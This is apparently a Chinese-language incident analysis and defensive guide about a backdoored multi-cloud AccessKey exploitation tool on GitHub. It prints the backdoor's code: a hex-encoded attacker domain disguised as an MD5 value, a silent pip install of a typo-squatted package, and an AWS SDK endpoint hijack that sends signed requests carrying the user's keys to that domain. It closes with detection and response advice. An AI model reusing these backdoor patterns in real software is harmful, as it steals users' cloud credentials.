速速自查!500stars 云利用工具投毒分析
字数 3063
更新时间 2026-05-19 13:48:10

云利用工具投毒事件分析与防御教学文档

一、事件背景

安全研究人员在审计一款名为 accesskey_tools 的多云 AccessKey 利用工具集(GitHub 500 stars)时,发现其 AWS 功能模块存在精心设计的后门。该后门通过三重混淆手法,将使用者的 AWS AccessKey/SecretKey 静默回传至攻击者控制的服务器,威胁云环境凭证安全。本文基于该事件,拆解后门技术细节、攻击链路及防御方法,供安全研究人员与云运维人员参考。

二、受影响工具集概述

1. 工具结构与风险分布

accesskey_tools 工具集包含三大云厂商模块:

accesskey_tools/
├── aliyun/       # 阿里云 ECS/RDS/OSS 利用脚本(无后门,使用官方 SDK)
├── aws/          # AWS EC2/IAM/S3/RDS 利用脚本(全模块存在后门)
└── tencentcloud/ # 腾讯云 CVM/COS 利用脚本(无后门,使用官方 SDK)

核心结论:仅 AWS 模块存在风险,7 个功能脚本(如 aws_select_iam.pyaws_url_console.py 等)均通过后门链路泄露凭证。

三、后门技术细节:三重混淆手法

攻击者通过 伪装域名、静默装包、SDK 劫持 三步实现凭证窃取,具体如下:

(一)第一层:伪装成哈希值的 C2 域名

aws/aws_select_iam.py 第 50 行,存在一个名为 iam_md5 的变量,表面是“MD5 哈希”,实则是十六进制编码的 C2(命令与控制)域名:

iam_md5 = "16170692e616c6979756e2d73646b2d72657175657374732e78797a2f"
  • 混淆逻辑:变量名 iam_md5 诱导用户认为是 IAM 相关哈希校验;实际需去掉首字符 "1",剩余部分(6170692e616c6979756e2d73646b2d72657175657374732e78797a2f)解码后为:
    api.aliyun-sdk-requests.xyz/
    
  • 欺骗性:域名模仿阿里云官方 aliyuncs.com,视觉上难以区分,易绕过人工审计。

(二)第二层:静默安装恶意第三方包

aws_select_iam.py 第 8-13 行会在工具运行时,无感知安装恶意 Python 包

if importlib.util.find_spec("enumerate_iam") is None:
    subprocess.run(
        [sys.executable, "-m", "pip", "install", "-qqq",
         "--disable-pip-version-check",
         "https://github.com/andresrianch/enumerate-iam/releases/download/1.0.2/aws_enumerateiam-1.0.2-py3-none-any.whl"],
        check=True
    )
    os.execv(sys.executable, [sys.executable] + sys.argv)
  • 静默机制-qqq 三级静默模式抑制所有 pip 输出;--disable-pip-version-check 减少版本检查噪音;os.execv 重启进程,确保恶意包立即可用,用户全程无感知。
  • 仿冒包特征:包来源为 GitHub 账号 andresrianch(原版合法项目 enumerate-iam 作者为 andresriancho,多一个字母 o),属于典型的“ typo-squatting(拼写仿冒)”攻击。

(三)第三层:AWS SDK 端点劫持

恶意包 enumerate_iam 中的 get_client 函数,结合 botocoreComponentLocator 机制,劫持 AWS SDK 端点:

  1. 核心逻辑:通过 ComponentLocator.register_component 覆盖 AWS 官方端点,将 API 请求重定向至攻击者域名:
    from botocore.session import ComponentLocator
    from enumerate_iam.main import get_client
    from aws_select_iam import iam_md5
    
    component = ComponentLocator()
    component.register_component(name='AWS_ENDPOINT', component=iam_md5[1:])  # 注入 C2 域名
    ec2_client = get_client(
        access_key=AccessKeyID,
        secret_key=AccessKeySecret,
        service_name='ec2',
        region=RegionId,
        components=component
    )
    
  2. 凭证窃取原理:AWS API 使用 SigV4 签名机制,请求的 Authorization 头包含 AccessKey + SecretKey 派生的签名信息。攻击者服务器接收请求后,可直接提取或反推完整凭证。

四、后门传播与攻击链路

1. 传播机制:Python import 链式触发

AWS 目录下所有脚本(如 aws_list_ec2.pyaws_url_console.py 等)均通过 import aws_select_iam 依赖后门核心模块,形成传播链:

aws_select_iam.py(后门核心:安装恶意包 + 定义 iam_md5)
↑
├── aws_list_ec2.py
├── aws_ec2_exec.py
├── aws_ec2_exec_noinfo.py
├── aws_url_console.py
├── aws_download_s3.py
├── aws_select_rds.py
└── aws_select_route53.py

触发条件:运行任意 AWS 脚本 → 触发 import aws_select_iam → 安装恶意包并激活后门。

2. 完整攻击流程

用户下载 accesskey_tools → 运行 AWS 脚本 → 触发 import aws_select_iam → 检测 enumerate_iam 包是否存在 → 不存在则静默安装恶意 whl(-qqq 无输出)→ os.execv 重启进程(无感知)→ enumerate_iam.get_client 可用 → ComponentLocator 注入 C2 端点(api.aliyun-sdk-requests.xyz/)→ 用户输入 AWS AccessKey/SecretKey → boto3/botocore 构造 SigV4 签名请求 → 请求发送至攻击者服务器(泄露完整凭证)→ 工具正常返回结果(用户毫不知情)

五、各脚本后门行为与危害

脚本名称 后门行为 危害等级
aws_select_iam.py 使用恶意 get_client 创建 IAM 客户端,泄露 IAM 凭证及账户信息
aws_url_console.py 调用 sts.get_federation_token 申请临时凭证(AdministratorAccess),通过劫持 STS 客户端泄露 极高
aws_download_s3.py 使用恶意 get_client 创建 S3 客户端,S3 操作请求泄露凭证
aws_list_ec2.py/aws_ec2_exec.py EC2/SSM 客户端注入 C2 端点,泄露 EC2/SSM 相关凭证

六、防御与检测建议

针对此类投毒工具,需从 工具来源、代码审计、运行监控、依赖管理 四方面防护:

1. 工具来源验证

  • 仅从 官方仓库/可信渠道 下载云利用工具,避免 GitHub 非认证账号发布的“高星工具”;
  • 核对工具作者身份(如 enumerate-iam 原作者为 andresriancho,而非 andresrianch)。

2. 代码审计要点

  • 可疑变量:检查类似 md5/hash 命名的变量,验证是否为十六进制编码(可通过在线工具解码);
  • 静默安装:搜索 pip install -qqq--disable-pip-version-checkos.execv 等关键词,警惕无输出安装行为;
  • SDK 端点:检查 botocore.ComponentLocator.register_component('AWS_ENDPOINT', ...),确认端点是否为官方域名(如 *.amazonaws.com)。

3. 运行监控手段

  • 网络监控:捕获异常出站请求(如指向 aliyun-sdk-requests.xyz 等非 AWS 官方域名的请求);
  • 包依赖审计:使用 pip listpipdeptree 检查是否存在仿冒包(如 enumerate_iam 来自非官方源);
  • 日志分析:查看 AWS CloudTrail 日志,识别异常的 IAM/STS/S3 请求(如来自未知 IP 的凭证使用记录)。

4. 应急响应措施

  • 若发现工具存在后门,立即 删除工具、重置所有 AWS AccessKey/SecretKey(包括临时凭证);
  • 扫描 AWS 环境,检查是否有异常资源创建(如未授权的 EC2 实例、S3 桶访问记录)。

七、总结

本次事件暴露了开源云工具的安全风险:攻击者通过“伪装域名+静默装包+SDK 劫持”的组合手法,将后门嵌入高星工具,利用用户对“常用工具”的信任实施凭证窃取。安全人员需强化 “工具来源可信+代码深度审计+运行实时监控” 的三重防护,避免成为投毒攻击的受害者。

相似文章
相似文章
 全屏